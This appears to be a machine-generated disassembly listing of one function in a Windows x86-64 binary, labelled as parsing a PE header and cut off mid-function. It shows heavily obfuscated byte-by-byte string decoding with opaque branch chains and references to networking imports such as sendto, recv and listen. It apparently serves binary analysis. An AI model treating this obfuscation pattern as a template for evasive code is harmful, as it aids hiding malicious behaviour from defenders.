Function at 0x140051430
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x18], r8d
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov r12, rdx
mov r13, rcx
mov ecx, 4
mov rax, qword gs:[0x58]
mov r8, qword [rax]
mov eax, dword [rcx + r8]
cmp dword [0x14022c548], eax
jle 0x140052b7d
lea rcx, [0x14022c548]
call fcn.1401963b0
cmp dword [0x14022c548], 0xffffffff
jne 0x140052b7d
mov dword [rbp - 0x50], 0x7eb3ded
mov dword [rbp - 0x4c], 0x300d0006
mov dword [rbp - 0x48], 0x3adc3602
mov word [rbp - 0x44], 0x3d3b
mov byte [rbp - 0x42], 0x88
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x41], xmm0
mov dword [rbp - 0x31], eax
movabs rsi, 0x99a19300fffa200d
movabs r10, 0xa11e145bdb476361
mov r14, qword [0x14022c4b0]
mov r15, qword [0x14022c4b8]
movzx r11d, byte [rbp + 0x40]
mov r8, r15
mov r9, r14
nop dword [rax]
xor edi, edi
movabs rcx, 0x7507b1aab6db2619
cmp rdi, 0x23
jae 0x140051fd4
movzx ebx, byte [rbp + rdi - 0x50]
movzx edx, bl
nop
cmp r8, rdi
ja 0x140051fcb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14005153b
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x51
jmp 0x140051574
je 0x140051f54
inc rax
cmp r8, rax
je 0x140051ee3
lea rax, [r9 + 4]
cmp r8, rax
je 0x140051ea5
lea rax, [r9 + 6]
cmp r8, rax
je 0x140051e75
lea rax, [r9 + 3]
cmp r8, rax
je 0x140051e42
movzx edx, bl
cmp r9, rdi
ja 0x140051fc2
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400515a0
lea rcx, [rdi + rsi]
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x5b
jmp 0x1400515d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140051dec
lea rax, [r9 + 3]
cmp r8, rax
je 0x140051da3
lea rax, [r9 + 5]
cmp r8, rax
je 0x140051d82
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140051add
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140051abb
lea rax, [r9 + 1]
cmp r8, rax
je 0x140051a8a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140051a5c
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140051a3a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140051a19
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140051a00
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400519e3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400519c5
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400519ac
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400515e0
mov r8, rax
lea r9, [rax + 0x41]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140051fa7
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140051f8c
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400517b9
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14005179f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14005177c
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140051954
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140051913
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400518e8
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400515e0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400518ca
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400518ac
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140051893
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140051877
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140051859
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140051830
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140051804
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400517e6
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400515e0
mov r8, rax
lea r9, [rax + 3]
jmp 0x1400515e0
movabs rcx, 0x8b2d77b148fdaf93
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 5
jmp 0x1400515d0
lea rcx, [rdi + r10]
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x59
jmp 0x140051577
movabs rcx, 0xb70eb1066d91172f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x49
movabs rcx, 0x7507b1aab6db2619
jmp 0x140051510
lea edx, [rdi + 0x68]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140051e0e
lea ecx, [rdi + 0x36]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7a
inc r9
dec rdi
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
lea ecx, [rdi + 4]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
dec rdi
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
lea edx, [rdi - 0x2e]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140051dc5
lea ecx, [rdi - 0x60]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
add r8, r9
jmp 0x140051ec0
lea ecx, [rdi + 0x6e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 2
jmp 0x140051ec0
lea edx, [rdi + 0x3c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140051f05
lea edx, [rdi - 0x28]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140051f6f
lea ecx, [rdi + 0x5b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7d
mov byte [rbp + rdi - 0x50], r11b
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
lea edx, [rdi + 0x29]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1f
add r11b, dl
movzx r10d, dil
cmp r9, 0x64
jb 0x1400518fc
lea edx, [r10 - 0xa]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x74]
jmp 0x140051e12
lea edx, [rdi - 0x3b]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x63
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x140051d62
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140051bc3
movzx r10d, dil
lea edx, [r10 - 0xb]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x4d
add r11b, dl
jmp 0x140051c49
lea ecx, [rdi + 0x4e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x22
jmp 0x140051f6f
lea edx, [rdi + 0x1c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140051f29
lea edx, [rdi - 0x16]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x66
add r11b, dl
jmp 0x140051f05
lea ecx, [rdi - 0x48]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
jmp 0x140051ec0
lea edx, [rdi - 0x7a]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x140051ec0
movzx r10d, dil
lea edx, [r10 + 0x54]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x140051dc9
lea edx, [rdi + 0x22]
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
lea edx, [rdi - 0x10]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
movzx r10d, dil
lea edx, [r10 - 0x42]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x32
add r11b, dl
jmp 0x140051e12
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140051b09
movabs rcx, 0x7507b1aab6db2619
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
add r11b, 0x51
jmp 0x14005196c
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140051b30
lea edx, [rdi + 0x1a]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140051f6f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140051b5c
movzx r10d, dil
lea edx, [r10 + 0x14]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140051dc9
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140051b93
lea edx, [rdi + 0x46]
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14005196c
movzx r10d, dil
lea edx, [r10 - 0x56]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140051e12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140051bee
movzx r10d, dil
lea edx, [r10 + 0x27]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x11
add r11b, dl
jmp 0x140051e12
inc rax
cmp r8, rax
jne 0x140051c1f
lea ecx, [rdi - 0x75]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x33
dec rdi
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140051c45
lea edx, [rdi + 0x53]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x45
add r11b, dl
jmp 0x140051f05
movzx r10d, dil
cmp r8, 0x2a
jae 0x140051d44
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x140051c7a
lea edx, [r10 + 2]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xe
add r11b, dl
jmp 0x14005192f
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140051c9e
add r10b, 0x34
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x6c
jmp 0x140051f6f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140051cc6
sub r10b, 0x68
movzx eax, bl
and al, r10b
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x28
add r11b, r10b
jmp 0x140051f05
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140051cf2
sub r10b, 4
movzx eax, bl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
add r8, r9
jmp 0x140051ec0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140051d19
lea edx, [r10 + 0x2e]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x42
add r11b, dl
jmp 0x140051dc9
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14005192f
lea edx, [r10 - 0x3c]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x140051e12
lea edx, [r10 + 0x28]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
add r11b, bl
jmp 0x140051dc9
lea edx, [rdi + 0x5a]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, bl
sub r11b, 0x76
add r11b, dl
jmp 0x140051f05
movabs rcx, 0xd4a56fff6356b
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, dl
sub r11b, bl
add r11b, 0x13
jmp 0x140051eff
movabs rcx, 0x41df2056b6d350d5
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, dl
sub r11b, bl
add r11b, 0x2d
add r11b, cl
movzx ebx, dl
movzx r10d, dil
add r10b, 0x41
movzx eax, bl
and al, r10b
add al, al
sub bl, al
add bl, 0x39
add bl, r10b
add bl, r11b
mov byte [rbp + rdi - 0x50], bl
add r8, r9
jmp 0x140051ec0
movabs rcx, 0x83b0f6566db06c3f
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, dl
sub r11b, bl
add r11b, 0x47
add r11b, cl
movzx ebx, dl
movzx r10d, dil
add r10b, 0xf
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x69
add bl, r10b
mov byte [rbp + rdi - 0x50], bl
inc r9
dec rdi
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
movabs rax, 0xc582cc56248d87a9
add rax, rdi
and bl, al
add bl, bl
sub dl, bl
lea r11d, [rax + rdx]
add r11b, 0x61
inc r9
dec rdi
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
movabs rax, 0xdb736900b6d73b77
add rax, rdi
and bl, al
add bl, bl
sub dl, bl
lea r11d, [rax + rdx]
sub r11b, 0x41
dec rdi
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
movabs rax, 0x1d453f006db456e1
add rax, rdi
and bl, al
add bl, bl
sub dl, bl
lea r11d, [rax + rdx]
sub r11b, 0x27
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
movabs rcx, 0x3335dbaafffe0aaf
add rcx, rdi
and bl, cl
add bl, bl
movzx r11d, dl
sub r11b, bl
add r11b, 0x37
movzx ebx, dl
add r11b, cl
lea edx, [rdi + 0x73]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x25
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x50], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x74]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi - 0x50], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
jmp 0x140051f6f
movabs rax, 0x5f1715002491724b
add rax, rdi
and bl, al
add bl, bl
sub dl, bl
lea r11d, [rax + rdx]
sub r11b, 0xd
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
movabs r10, 0xa11e145bdb476361
jmp 0x1400514f2
sub dil, 3
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x15
jmp 0x1400514ec
sub dil, 0x35
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x73
jmp 0x1400514e6
lea rsi, [rbp + 0x17d987c]
jmp 0x140051fd8
lea rsi, [rbp + 0xd8be95]
jmp 0x140051fd8
lea rsi, [rbp - 0x50]
mov dword [rbp - 0x28], 0x484d554e
mov dword [rbp - 0x24], 0x4340474f
mov dword [rbp - 0x20], 0x4e5a4c86
mov byte [rbp - 0x1c], 0xcc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x1b], xmm0
mov dword [rbp - 0xb], eax
mov word [rbp - 7], ax
movzx r11d, byte [rbp + 0x40]
mov rax, r15
mov r9, r14
nop dword [rax]
xor edi, edi
movabs rdx, 0x2711c3073477cf64
cmp rdi, 0x23
jae 0x140052b5b
movzx ebx, byte [rbp + rdi - 0x28]
mov r10d, ebx
nop
cmp rax, rdi
ja 0x140052b52
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x14005205b
add rdx, rdi
mov rcx, r10
and rcx, rdx
imul r11, rcx, 0xfffffffffffffffe
add r11, r10
add r11, rdx
add r11b, 0x44
jmp 0x140052094
je 0x140052adc
inc rcx
cmp rax, rcx
je 0x140052a57
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140052a01
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400529e2
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400529c0
cmp r9, rdi
ja 0x140052b49
lea rcx, [r9 + 0x41]
cmp rax, rcx
jae 0x1400520bc
lea edx, [rdi + 0x34]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x6c
jmp 0x1400520f0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x140052977
inc rcx
cmp rax, rcx
je 0x140052951
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140052931
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140052918
nop
lea rcx, [r9 + rax]
cmp rcx, rdi
jbe 0x14005262d
nop dword [rax]
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x14005261f
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1400525fd
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x1400525d7
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x1400525ba
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14005259a
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140052581
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x140052561
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x140052548
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x14005251a
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x140052100
lea rax, [r9 + 0x64]
lea r9, [rax + 0x61]
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x140052b2d
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x140052b0d
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1400522e5
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x1400522c5
lea rdx, [r9 + 0x3e8]
cmp rax, rdx
jb 0x1400522ac
lea rcx, [r9 + 5]
cmp rax, rcx
jb 0x1400524c1
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x14005247d
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x14005243f
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x140052417
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x140052100
mov rax, rdx
lea r9, [rdx + 0x5a]
lea rcx, [r9 + 0x42]
cmp rdx, rcx
ja 0x1400523e9
lea rcx, [r9 + 1]
cmp rdx, rcx
ja 0x1400523d0
lea rcx, [r9 + 0x40]
cmp rdx, rcx
ja 0x1400523b0
lea rcx, [r9 + 0x2a]
cmp rdx, rcx
ja 0x140052397
lea rdx, [r9 + 0x61]
cmp rax, rdx
ja 0x14005237b
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x140052369
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x14005234a
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x140052321
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x140052308
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x140052100
mov rax, rdx
lea r9, [rdx + 0x20]
jmp 0x140052100
lea edx, [rdi + 0x4c]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x14
jmp 0x1400520f0
lea r8d, [rdi - 0x7c]
movzx ecx, r8b
and cl, bl
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052094
lea edx, [rdi - 0x44]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x24
movabs rdx, 0x2711c3073477cf64
jmp 0x140052030
lea edx, [rdi - 0x60]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x60
jmp 0x140052992
lea r8d, [rdi - 0x28]
movzx ecx, bl
and cl, r8b
mov edx, recv
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
inc r9
dec rdi
inc rdi
jmp 0x140052012
lea edx, [rdi + 0x10]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x70
dec rdi
inc rdi
jmp 0x140052012
lea r8d, [rdi + 0x48]
mov edx, 4
movzx r10d, dil
jmp 0x140052a0e
lea edx, [rdi + 0x80]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
add r11b, 0x80
jmp 0x140052a3b
lea edx, [rdi - 0x48]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 8
jmp 0x140052a3e
lea r8d, [rdi - 0x10]
movzx ecx, r8b
and cl, bl
mov edx, gethostname
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052a78
lea edx, [rdi + 0x28]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x18
jmp 0x140052aa4
lea r8d, [rdi + 0x60]
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_50
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
movzx ecx, byte [rbp + rdi - 0x28]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140052012
lea r8d, [rdi + 0x6c]
movzx ecx, r8b
and cl, bl
mov edx, 6
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
mov byte [rbp + rdi - 0x28], r11b
inc rdi
jmp 0x140052012
lea edx, [rdi - 0x5c]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x7c
cmp r9, 0x200
jb 0x140052432
lea r8d, [rdi - 0x28]
movzx ecx, bl
and cl, r8b
mov edx, recv
sub dl, cl
add dl, dl
add dl, bl
add dl, r8b
lea r11d, [rdx + rdx]
jmp 0x140052992
lea edx, [rdi - 0x24]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 4
cmp rax, 0x42
jae 0x1400528de
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jbe 0x1400527e6
lea edx, [rdi + 8]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x38
jmp 0x140052453
lea r8d, [rdi + 0x14]
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_60
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
lea rcx, [r9 + rax]
cmp rcx, 0x20
je 0x1400528fb
lea rcx, [r9 + 0x200]
cmp rax, rcx
jbe 0x14005272c
lea r8d, [rdi - 0x2c]
movzx ecx, r8b
and cl, bl
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052491
lea r8d, [rdi + 0x38]
movzx ecx, r8b
and cl, bl
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
movzx ecx, byte [rbp + rdi - 0x28]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140052012
lea edx, [rdi + 0x70]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x10
jmp 0x140052aa4
lea r8d, [rdi - 0x58]
movzx ecx, r8b
and cl, bl
mov edx, 0x34
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052a78
lea edx, [rdi - 0x20]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x20
jmp 0x140052a3e
lea r8d, [rdi + 0x18]
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_45
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052a3b
lea edx, [rdi + 0x50]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x30
movzx r10d, dil
jmp 0x140052a20
lea r8d, [rdi - 0x78]
movzx ecx, r8b
and cl, bl
mov edx, 0x24
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
dec rdi
inc rdi
jmp 0x140052012
lea edx, [rdi - 0x40]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x140052012
lea r8d, [rdi - 8]
mov edx, Ordinal_30
jmp 0x140052980
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jae 0x14005264d
lea r8d, [rdi + 0x64]
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_35
jmp 0x1400524d0
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140052684
lea r8d, [rdi + 0x68]
movzx ecx, r8b
and cl, bl
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
movzx ecx, byte [rbp + rdi - 0x28]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140052012
inc rcx
cmp rax, rcx
jne 0x1400526a5
lea edx, [rdi - 0x40]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x40
jmp 0x140052a3e
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400526ce
lea r8d, [rdi - 0x78]
movzx ecx, r8b
and cl, bl
mov edx, 0x24
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052a3b
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400526fd
lea r8d, [rdi + 0x18]
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_45
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
dec rdi
inc rdi
jmp 0x140052012
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400524dc
lea edx, [rdi - 0x20]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x140052012
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14005274e
lea edx, [rdi - 0x64]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x44
jmp 0x140052992
inc rcx
cmp rax, rcx
jne 0x140052775
lea edx, [rdi + 0x2c]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r11d, [rbx + rdx]
sub r11b, 0x34
dec rdi
inc rdi
jmp 0x140052012
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140052790
lea r8d, [rdi - 0xc]
mov edx, Ordinal_45
movzx r10d, dil
jmp 0x140052a0e
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1400527b9
lea r8d, [rdi - 0x7c]
movzx ecx, r8b
and cl, bl
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052a3e
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x140052491
lea r8d, [rdi + 0x14]
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_60
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, bl
jmp 0x140052aa4
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14005281d
lea r8d, [rdi - 0x30]
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_41
